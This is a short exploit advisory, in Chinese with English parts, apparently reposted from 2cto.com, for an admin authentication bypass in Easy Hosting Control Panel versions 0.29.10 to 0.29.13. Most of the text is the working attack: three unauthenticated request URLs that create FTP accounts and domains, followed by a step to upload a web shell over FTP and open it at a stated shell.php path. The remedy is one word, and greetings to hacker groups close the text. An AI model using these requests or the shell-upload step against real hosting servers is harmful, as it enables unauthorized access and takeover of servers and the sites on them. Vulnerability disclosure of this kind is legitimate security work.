标题: Easy Hosting Control Panel Admin Auth Bypass

作者: Jasman www.2cto.com

下载地址: https://launchpad.net/ehcp & http://www.ehcp.net

影响版本: 0.29.10 - 0.29.13

测试平台: Ubuntu, Debian

 

概述

Easy Hosting Control Panel designed for hosting of multiple domains on single machine.

It uses LAMP(LinuxApacheMysqlPhp). Its aim:easily installable,easy usage, non-complex,functional

 

缺陷:

无需登录可以添加ftp账号和域名

 

 

http://www.2cto.com /vhosts/ehcp/?op=applyforaccount

http://www.2cto.com /vhosts/ehcp/?op=applyforftpaccount

http://www.2cto.com /vhosts/ehcp/?op=applyfordomainaccount

 

示例

upload a shell via ftp

http://www.2cto.com /vhosts/[username]/[domain]/httpdocs/shell.php

 

测试版本

0.29.13

0.29.11

0.29.10

修复：验证

 

 致谢:

ArRay,`yuda, N4ck0, K4pt3N, samu1241, bejamz, Gameover, antitos, yuki, pokeng,

aphe_aphe, jos_ali_joe, BlueBoyz, JFry_, Ihsana'Lab, Anaski Crew, Forum.ExploreCrew

Exploit-Id, FeeLcoMz All Indonesian Hacker